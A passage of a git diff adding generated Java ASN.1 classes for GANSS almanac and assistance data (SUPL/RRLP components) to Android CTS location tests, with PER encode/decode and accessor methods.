+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $KeplerianAlmanacSet(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Almanac_KeplerianSet();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac_KeplerianSet.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isKeplerianAlmanacSet() {
+ return !hasExtensionValue() && Select.$KeplerianAlmanacSet == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isKeplerianAlmanacSet}.
+ */
+ @SuppressWarnings("unchecked")
+ public Almanac_KeplerianSet getKeplerianAlmanacSet() {
+ if (!isKeplerianAlmanacSet()) {
+ throw new IllegalStateException("GANSSAlmanacElement value not a KeplerianAlmanacSet");
+ }
+ return (Almanac_KeplerianSet) element;
+ }
+
+ public void setKeplerianAlmanacSet(Almanac_KeplerianSet selected) {
+ selection = Select.$KeplerianAlmanacSet;
+ extension = false;
+ element = selected;
+ }
+
+ public Almanac_KeplerianSet setKeplerianAlmanacSetToNewInstance() {
+ Almanac_KeplerianSet element = new Almanac_KeplerianSet();
+ setKeplerianAlmanacSet(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ $KeplerianNAVAlmanac(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Almanac_NAVKeplerianSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Almanac_NAVKeplerianSet) element).toIndentedString(indent);
+ }
+ },
+
+ $KeplerianReducedAlmanac(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Almanac_ReducedKeplerianSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Almanac_ReducedKeplerianSet) element).toIndentedString(indent);
+ }
+ },
+
+ $KeplerianMidiAlmanac(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Almanac_MidiAlmanacSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Almanac_MidiAlmanacSet) element).toIndentedString(indent);
+ }
+ },
+
+ $KeplerianGLONASS(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Almanac_GlonassAlmanacSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Almanac_GlonassAlmanacSet) element).toIndentedString(indent);
+ }
+ },
+
+ $EcefSBASAlmanac(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new Almanac_ECEFsbasAlmanacSet();
+ }
+
+ @Override
+ @SuppressWarnings("unchecked")
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + ((Almanac_ECEFsbasAlmanacSet) element).toIndentedString(indent);
+ }
+ },
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+
+ public boolean isExtensionKeplerianNAVAlmanac() {
+ return hasExtensionValue() && Extend.$KeplerianNAVAlmanac == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isKeplerianNAVAlmanac}.
+ */
+ @SuppressWarnings("unchecked")
+ public Almanac_NAVKeplerianSet getExtensionKeplerianNAVAlmanac() {
+ if (!isExtensionKeplerianNAVAlmanac()) {
+ throw new IllegalStateException("GANSSAlmanacElement value not a KeplerianNAVAlmanac");
+ }
+ return (Almanac_NAVKeplerianSet) element;
+ }
+
+ public void setExtensionKeplerianNAVAlmanac(Almanac_NAVKeplerianSet selected) {
+ selection = Extend.$KeplerianNAVAlmanac;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionKeplerianNAVAlmanacToNewInstance() {
+ Almanac_NAVKeplerianSet element = new Almanac_NAVKeplerianSet();
+ setExtensionKeplerianNAVAlmanac(element);
+ }
+
+
+
+ public boolean isExtensionKeplerianReducedAlmanac() {
+ return hasExtensionValue() && Extend.$KeplerianReducedAlmanac == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isKeplerianReducedAlmanac}.
+ */
+ @SuppressWarnings("unchecked")
+ public Almanac_ReducedKeplerianSet getExtensionKeplerianReducedAlmanac() {
+ if (!isExtensionKeplerianReducedAlmanac()) {
+ throw new IllegalStateException("GANSSAlmanacElement value not a KeplerianReducedAlmanac");
+ }
+ return (Almanac_ReducedKeplerianSet) element;
+ }
+
+ public void setExtensionKeplerianReducedAlmanac(Almanac_ReducedKeplerianSet selected) {
+ selection = Extend.$KeplerianReducedAlmanac;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionKeplerianReducedAlmanacToNewInstance() {
+ Almanac_ReducedKeplerianSet element = new Almanac_ReducedKeplerianSet();
+ setExtensionKeplerianReducedAlmanac(element);
+ }
+
+
+
+ public boolean isExtensionKeplerianMidiAlmanac() {
+ return hasExtensionValue() && Extend.$KeplerianMidiAlmanac == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isKeplerianMidiAlmanac}.
+ */
+ @SuppressWarnings("unchecked")
+ public Almanac_MidiAlmanacSet getExtensionKeplerianMidiAlmanac() {
+ if (!isExtensionKeplerianMidiAlmanac()) {
+ throw new IllegalStateException("GANSSAlmanacElement value not a KeplerianMidiAlmanac");
+ }
+ return (Almanac_MidiAlmanacSet) element;
+ }
+
+ public void setExtensionKeplerianMidiAlmanac(Almanac_MidiAlmanacSet selected) {
+ selection = Extend.$KeplerianMidiAlmanac;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionKeplerianMidiAlmanacToNewInstance() {
+ Almanac_MidiAlmanacSet element = new Almanac_MidiAlmanacSet();
+ setExtensionKeplerianMidiAlmanac(element);
+ }
+
+
+
+ public boolean isExtensionKeplerianGLONASS() {
+ return hasExtensionValue() && Extend.$KeplerianGLONASS == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isKeplerianGLONASS}.
+ */
+ @SuppressWarnings("unchecked")
+ public Almanac_GlonassAlmanacSet getExtensionKeplerianGLONASS() {
+ if (!isExtensionKeplerianGLONASS()) {
+ throw new IllegalStateException("GANSSAlmanacElement value not a KeplerianGLONASS");
+ }
+ return (Almanac_GlonassAlmanacSet) element;
+ }
+
+ public void setExtensionKeplerianGLONASS(Almanac_GlonassAlmanacSet selected) {
+ selection = Extend.$KeplerianGLONASS;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionKeplerianGLONASSToNewInstance() {
+ Almanac_GlonassAlmanacSet element = new Almanac_GlonassAlmanacSet();
+ setExtensionKeplerianGLONASS(element);
+ }
+
+
+
+ public boolean isExtensionEcefSBASAlmanac() {
+ return hasExtensionValue() && Extend.$EcefSBASAlmanac == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isEcefSBASAlmanac}.
+ */
+ @SuppressWarnings("unchecked")
+ public Almanac_ECEFsbasAlmanacSet getExtensionEcefSBASAlmanac() {
+ if (!isExtensionEcefSBASAlmanac()) {
+ throw new IllegalStateException("GANSSAlmanacElement value not a EcefSBASAlmanac");
+ }
+ return (Almanac_ECEFsbasAlmanacSet) element;
+ }
+
+ public void setExtensionEcefSBASAlmanac(Almanac_ECEFsbasAlmanacSet selected) {
+ selection = Extend.$EcefSBASAlmanac;
+ extension = true;
+ element = selected;
+ }
+
+ public void setExtensionEcefSBASAlmanacToNewInstance() {
+ Almanac_ECEFsbasAlmanacSet element = new Almanac_ECEFsbasAlmanacSet();
+ setExtensionEcefSBASAlmanac(element);
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSAlmanacElement = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
new file mode 100755
index 0000000..d0be7d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAlmanacModel.java
@@ -0,0 +1,648 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSAlmanacModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSAlmanacModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAlmanacModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAlmanacModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAlmanacModel != null) {
+ return ImmutableList.of(TAG_GANSSAlmanacModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAlmanacModel from encoded stream.
+ */
+ public static GANSSAlmanacModel fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAlmanacModel result = new GANSSAlmanacModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAlmanacModel from encoded stream.
+ */
+ public static GANSSAlmanacModel fromPerAligned(byte[] encodedBytes) {
+ GANSSAlmanacModel result = new GANSSAlmanacModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSAlmanacModel.weekNumberType weekNumber_;
+ public GANSSAlmanacModel.weekNumberType getWeekNumber() {
+ return weekNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAlmanacModel.weekNumberType
+ */
+ public void setWeekNumber(Asn1Object value) {
+ this.weekNumber_ = (GANSSAlmanacModel.weekNumberType) value;
+ }
+ public GANSSAlmanacModel.weekNumberType setWeekNumberToNewInstance() {
+ weekNumber_ = new GANSSAlmanacModel.weekNumberType();
+ return weekNumber_;
+ }
+
+ private GANSSAlmanacModel.toaType toa_;
+ public GANSSAlmanacModel.toaType getToa() {
+ return toa_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAlmanacModel.toaType
+ */
+ public void setToa(Asn1Object value) {
+ this.toa_ = (GANSSAlmanacModel.toaType) value;
+ }
+ public GANSSAlmanacModel.toaType setToaToNewInstance() {
+ toa_ = new GANSSAlmanacModel.toaType();
+ return toa_;
+ }
+
+ private GANSSAlmanacModel.iodaType ioda_;
+ public GANSSAlmanacModel.iodaType getIoda() {
+ return ioda_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAlmanacModel.iodaType
+ */
+ public void setIoda(Asn1Object value) {
+ this.ioda_ = (GANSSAlmanacModel.iodaType) value;
+ }
+ public GANSSAlmanacModel.iodaType setIodaToNewInstance() {
+ ioda_ = new GANSSAlmanacModel.iodaType();
+ return ioda_;
+ }
+
+ private SeqOfGANSSAlmanacElement ganssAlmanacList_;
+ public SeqOfGANSSAlmanacElement getGanssAlmanacList() {
+ return ganssAlmanacList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSSAlmanacElement
+ */
+ public void setGanssAlmanacList(Asn1Object value) {
+ this.ganssAlmanacList_ = (SeqOfGANSSAlmanacElement) value;
+ }
+ public SeqOfGANSSAlmanacElement setGanssAlmanacListToNewInstance() {
+ ganssAlmanacList_ = new SeqOfGANSSAlmanacElement();
+ return ganssAlmanacList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getWeekNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWeekNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setWeekNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAlmanacModel.weekNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "weekNumber : "
+ + getWeekNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getToa() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getToa();
+ }
+
+ @Override public void setToNewInstance() {
+ setToaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAlmanacModel.toaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "toa : "
+ + getToa().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getIoda() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIoda();
+ }
+
+ @Override public void setToNewInstance() {
+ setIodaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSAlmanacModel.iodaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ioda : "
+ + getIoda().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssAlmanacList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssAlmanacList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssAlmanacListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSSAlmanacElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAlmanacList : "
+ + getGanssAlmanacList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class weekNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_weekNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public weekNumberType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_weekNumberType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_weekNumberType != null) {
+ return ImmutableList.of(TAG_weekNumberType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new weekNumberType from encoded stream.
+ */
+ public static weekNumberType fromPerUnaligned(byte[] encodedBytes) {
+ weekNumberType result = new weekNumberType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new weekNumberType from encoded stream.
+ */
+ public static weekNumberType fromPerAligned(byte[] encodedBytes) {
+ weekNumberType result = new weekNumberType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "weekNumberType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class toaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_toaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public toaType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_toaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_toaType != null) {
+ return ImmutableList.of(TAG_toaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new toaType from encoded stream.
+ */
+ public static toaType fromPerUnaligned(byte[] encodedBytes) {
+ toaType result = new toaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new toaType from encoded stream.
+ */
+ public static toaType fromPerAligned(byte[] encodedBytes) {
+ toaType result = new toaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "toaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class iodaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_iodaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public iodaType() {
+ super();
+ setValueRange("0", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_iodaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_iodaType != null) {
+ return ImmutableList.of(TAG_iodaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new iodaType from encoded stream.
+ */
+ public static iodaType fromPerUnaligned(byte[] encodedBytes) {
+ iodaType result = new iodaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new iodaType from encoded stream.
+ */
+ public static iodaType fromPerAligned(byte[] encodedBytes) {
+ iodaType result = new iodaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "iodaType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSAlmanacModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java
new file mode 100755
index 0000000..433d49c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistance.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSAssistance extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GANSSAssistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSAssistance() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSAssistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSAssistance != null) {
+ return ImmutableList.of(TAG_GANSSAssistance);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSAssistance from encoded stream.
+ */
+ public static GANSSAssistance fromPerUnaligned(byte[] encodedBytes) {
+ GANSSAssistance result = new GANSSAssistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSAssistance from encoded stream.
+ */
+ public static GANSSAssistance fromPerAligned(byte[] encodedBytes) {
+ GANSSAssistance result = new GANSSAssistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSAssistance = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java
new file mode 100755
index 0000000..c3c6bf1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSAssistanceData.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
